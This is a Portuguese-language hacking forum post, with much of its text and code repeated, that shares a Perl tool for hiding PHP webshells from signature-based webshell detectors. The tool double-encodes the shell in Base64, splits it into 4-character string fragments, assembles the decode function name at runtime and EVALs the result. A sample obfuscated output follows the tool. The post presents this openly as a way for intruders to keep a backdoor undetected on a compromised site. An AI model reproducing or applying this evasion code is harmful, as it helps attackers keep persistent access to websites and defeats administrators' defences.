Hoje vi um método de evasão de Webshell Detectors que me parece pouco conhecido, pelomenos não tinha visto publicamente ainda e resolvi compartilhar com quem ainda não conheçe.
Segue:
Um Webshell Detector varre diretórios de um site atrás de uma Webshell como por exemplo c99, c100, r57 e outras bem antigas, ele faz isto através de expressões regulares como determinadas palavras, suponhamos que a palavra "teste" fosse uma palavra marcada em uma lista negra, o Webshell Detector iria vasculhar todos os códigos de todos os diretórios do site atrás da palavra "teste" e iria passar em qual arquivo e qual diretório está a palavra, assim facilita o administrador para detecção de uma Webshell em um site com muitos arquivos.
Sabendo disso os crackers começaram criptografar os códigos com Base64 mas logo isto foi resolvido por parte dos "Vasculhadores", scanners de web shells, ou chamem como quiserem.
Então se vc for criptografar um texto como este abaixo em Base64 ficaria como:
Resultado pós Base64
Até aqui isto é bem conhecido.
Agora com este código abaixo vc pode cortar a criptografia em 4 caracteres para burlar os WebShell Detectors.
OBS: Windows necessita baixar Active Perl para um funcionamento correto.
O código está bem explicado, e o resultado do primeiro texto acima ficaria desta forma pós criptografia:
Desta maneira os vasculhadores não conseguem detectar a sua Webshell e vc consegue proseguir com sua brincadeira.
Fonte: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Segue:
Um Webshell Detector varre diretórios de um site atrás de uma Webshell como por exemplo c99, c100, r57 e outras bem antigas, ele faz isto através de expressões regulares como determinadas palavras, suponhamos que a palavra "teste" fosse uma palavra marcada em uma lista negra, o Webshell Detector iria vasculhar todos os códigos de todos os diretórios do site atrás da palavra "teste" e iria passar em qual arquivo e qual diretório está a palavra, assim facilita o administrador para detecção de uma Webshell em um site com muitos arquivos.
Sabendo disso os crackers começaram criptografar os códigos com Base64 mas logo isto foi resolvido por parte dos "Vasculhadores", scanners de web shells, ou chamem como quiserem.
Então se vc for criptografar um texto como este abaixo em Base64 ficaria como:
teste
123456 testando um dois tres
testando
test
etc.
123456 testando um dois tres
testando
test
etc.
dGVzdGUNCg0KMTIzNDU2IHRlc3RhbmRvIHVtIGRvaXMgdHJlcw 0KDQp0ZXN0YW5kbw0KDQp0ZXN0DQoNCmV0Yy4=
Agora com este código abaixo vc pode cortar a criptografia em 4 caracteres para burlar os WebShell Detectors.
OBS: Windows necessita baixar Active Perl para um funcionamento correto.
# IMPORTANTE: VC PRECISA DELETAR <?php e ?> APOS ISSO USE ESSA TOOL.
use MIME::Base64;
unless ($ARGV == 2) { &help; }
open(FILEA, "<", $ARGV[0]);
open(FILEB, ">>", $ARGV[1]);
@shell = <FILEA>;
$shell = join("", @shell);
$base1 = encode_base64($shell);
$base2 = encode_base64($base1);
$size = length($base2);
$i = 0;
print FILEB '<?php $z = ""; ';
while ($i < $size) {
$prob = substr($base2, $i, 4);
print FILEB '$z .= "'.$prob.'";'."\n";
$i = $i + 4;
}
print FILEB '$a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); $string = $c($string); EVAL ($string); ?>';
close(FILEA);
close(FILEB);
sub help {
print q(
COMANDO: perl hideshell.pl SUA_SHELL.php RESULTADO_SHELL_CODIFICADA.php
IMPORTANTE: VC PRECISA DELETAR <?php e ?> APOS ISSO USE ESSA TOOL.
);
}
use MIME::Base64;
unless ($ARGV == 2) { &help; }
open(FILEA, "<", $ARGV[0]);
open(FILEB, ">>", $ARGV[1]);
@shell = <FILEA>;
$shell = join("", @shell);
$base1 = encode_base64($shell);
$base2 = encode_base64($base1);
$size = length($base2);
$i = 0;
print FILEB '<?php $z = ""; ';
while ($i < $size) {
$prob = substr($base2, $i, 4);
print FILEB '$z .= "'.$prob.'";'."\n";
$i = $i + 4;
}
print FILEB '$a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); $string = $c($string); EVAL ($string); ?>';
close(FILEA);
close(FILEB);
sub help {
print q(
COMANDO: perl hideshell.pl SUA_SHELL.php RESULTADO_SHELL_CODIFICADA.php
IMPORTANTE: VC PRECISA DELETAR <?php e ?> APOS ISSO USE ESSA TOOL.
);
}
<?php $z = ""; $z .= "ZEdW";
$z .= "emRH";
$z .= "VUtD";
$z .= "akV5";
$z .= "TXpR";
$z .= "MU5p";
$z .= "QjBa";
$z .= "WE4w";
$z .= "WVc1";
$z .= "a2J5";
$z .= "QjFi";
$z .= "U0Jr";
$z .= "YjJs";
$z .= "eklI";
$z .= "Unla";
$z .= "WE1L";
$z .= "Q25S";
$z .= "bGMz";
$z .= "Umhi";
$z .= "
bVJ";
$z .= "2Q2d";
$z .= "wMFp";
$z .= "YTjB";
$z .= "DZ3B";
$z .= "sZEd";
$z .= "NdQo";
$z .= "=
";
$a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); $string = $c($string); EVAL ($string); ?>
$z .= "emRH";
$z .= "VUtD";
$z .= "akV5";
$z .= "TXpR";
$z .= "MU5p";
$z .= "QjBa";
$z .= "WE4w";
$z .= "WVc1";
$z .= "a2J5";
$z .= "QjFi";
$z .= "U0Jr";
$z .= "YjJs";
$z .= "eklI";
$z .= "Unla";
$z .= "WE1L";
$z .= "Q25S";
$z .= "bGMz";
$z .= "Umhi";
$z .= "
bVJ";
$z .= "2Q2d";
$z .= "wMFp";
$z .= "YTjB";
$z .= "DZ3B";
$z .= "sZEd";
$z .= "NdQo";
$z .= "=
";
$a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); $string = $c($string); EVAL ($string); ?>
Fonte: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...